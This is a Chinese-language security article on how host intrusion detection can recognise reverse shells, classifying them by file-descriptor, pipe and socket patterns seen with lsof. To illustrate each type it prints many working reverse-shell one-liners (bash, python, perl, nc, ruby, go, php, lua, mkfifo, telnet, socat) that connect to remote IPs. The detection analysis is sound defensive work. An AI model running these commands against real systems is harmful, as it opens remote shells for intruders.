基于主机的反弹shell检测思路
前言
难免有时候网站会存在命令执行、代码执行等漏洞可能被黑客反弹shell,如何第一时间发现反弹shell特征,kill掉相应进程,保护主机安全呢?
本文主要探究一下主机反弹shell有哪些特征,为HIDS检测主机反弹shell行为提供一些思路。
类型一
bash反弹
先从最常规的开始举个例子。
bash -i >& /dev/tcp/ip/port 0>&1
原理简单说一下,本地打开bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程
>&
作用就是混合输出(错误、正确输出都输出到一个地方)
/dev/tcp|udp/ip/port 可以看作是一个远程设备,所有重定向到该设备的信息
都会被转发至 ip:port 对应的远程设备
另外至少需要把标准输出流,标准输入流定向至远程,也就是远程输入命令
执行结果定向至远程,形成一个回路,也就是交互式shell。
查看一下进程的文件描述符:
可以看到0,1,2文件描述符都被重定向至远程socket链接,lsof看一下bash进程:
此时我们打开本地再打开一个bash,lsof命令查看一下进程描述符:
可以看到正常情况下文件描述符指向/dev/pts/0(因为linux下一切皆文件,这个文件就代表伪终端或虚拟终端)而反弹shell的情况下文件描述符都是指向远程socket链接,同时用户可能是www、www-data、apache、nginx等用户
补充:为什么每个bash进程都会有0,1,2三个文件描述符?
shell会继承父进程的文件描述符,因此所有的shell都会默认有这三个文件描述符
以后再打开文件,描述符依次增加(0,1,2分别代表标准输入,标准输出和标准错误输出)
这是反弹shell最常见的特征,就是bash进程中的输入输出文件描述符被定向到远程socket链接,下面我们看看常见的其他反弹shell方法:
python反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
s.fileno() 查看建立socket链接返回的文件描述符是3
使用duo2方法将第二个形参(文件描述符)指向第一个形参(socket链接)
接下来使用os的subprocess在本地开启一个子进程,启动bash交互模式,标准输入、标准输出、标准错误输出被重定向到了远程
lsof命令查看一下:
特征与上面基本一致,也是输入输出流被重定向到了远程socket链接
perl反弹
perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
特征与上面基本一致
nc反弹shell
nc -e /bin/bash 127.0.0.1 7777
如果执行上面命令提示没有-e 选项,可能因为版本是openbsd,可以手动指定nc.traditional
lsof发现与上面的基本相同,这种都是属于同一种类型的,类似的还有:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
php –r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
等等,上面都属于同一种类型,就是直接把bash文件描述符重定向至远程socket链接。
类型二
基本例子
下面看一下另一种类型,不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出。
随便举个简单例子nc通过管道将远程的输入流定向至/bin/bash
/bin/nc.traditional 10.211.55.2 7777 | /bin/bash
命令的意思是接受来自远程的数据通过管道作为bash的输入
lsof命令看到0也就是标准输入是来自管道,通过id追踪到管道另一端的进程
看到另一个进程有一个socket的远程连接,也就是通过远程接受命令,然后通过管道传输给bash进程执行
也就是说输入输出中间可能会经历多层管道,但最终一定会定向到远程的socket链接,pipe[387461] 最终还是被重定向至socket链接,中间需要根据id追踪一下管道两边的进程,完整过程如下,贴一张图就不做解释了:
补充:解释一下pipe和fifo在linux里还是有点区别的:
pipe是创建管道(匿名)的函数,管道(匿名)是内核中的一个单向数据通道,管道有一个读端和一个写端。一般用于父子进程之间的通信。
fifo是命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在(因为多个进程要识别),它的行为却和之前匿名管道类似(一端读一端写),但是FIFO文件也不在磁盘进行存储。一般用于进程间的通信。
nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准
输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
补充: https://blog.csdn.net/qq_42914528/article/details/82023408
lsof可以看到0,1,2文件描述符全部被重定向到了管道,通过id追踪一下管道另一端的进程
找到cat进程,发现一个进程名描述符指向文件,上面命令中已经有了体现,继续通过id追踪
找到了nc进程,发现nc有对外socket链接,也就是说nc接受命令通过cat传给bash执行。
telnet反弹shell
mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a
telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555
与上面的类型,方法基本一样不做赘述。
总结一下第二种类型的反弹shell:0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。
类型三
socat反弹shell
可以看作是netcat增强版,Ubuntu下默认不预装
反弹命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
监听命令
socat file:`tty`,raw,echo=0 tcp-listen:9999
补充:SOCK_DGRAM 是无保障的面向消息的socket,主要用于在网络上发广播信息。
可以看出这种类型与上两种是有区别的bash通过管道与socat进程通信,但是管道并不是重定向的标准输入输出、标准错误输出这三个流而是其他的流,然后在程序内部再将该pipe管道定向到0,1,2这三个文件描述符。
这就是第三种基本类型特征。
类型四
msf生成payload反弹shell
这里以生成python为例,其他例如php等原理上都一样,生成payload受害主机上执行。lsof查看进程描述符的情况。
可以看到python开启了一个远程socket链接,但是没有任何pipe管道指向bash进程,查看msf生成的payload可知只是返回了一个相当于代码执行,并不是真正意义上的交互式shell。
反观其特征就是一个正常进程对外有一个socket链接,特征不足,这种并不好检测。
dns_shell&icmp_shell
网上有很多开源的反弹shell的比如:
https://github.com/ahhh/Reverse_DNS_Shell
正常shell走的是tcp或者udp协议,而他们走的是dns、icmp协议,在流量上做到了很好的伪装,但是在基于主机检测面前和上面的例子本质上是一样的。
lsof命令查看进程信息:
与上面情况基本一直,必须使用定制化的客户端,相当于代码执行上的一层封装。
总结
再往下总结甚至可以列出第五种类型,比如client端接受server端命令,新开一个bash子进程进行命令执行等等,骚操作层出不穷。
从主机防护角度来讲,特征的高覆盖率势必对应着高误报,总要从这之间找到一个平衡点。
但是回过头来仔细想想,从一个黑客的角度出发,是不是会从最简单的反弹shell方法开始尝试,那当他第一步尝试失败的时候我们已经抓到了入侵动机,并及时采取了措施。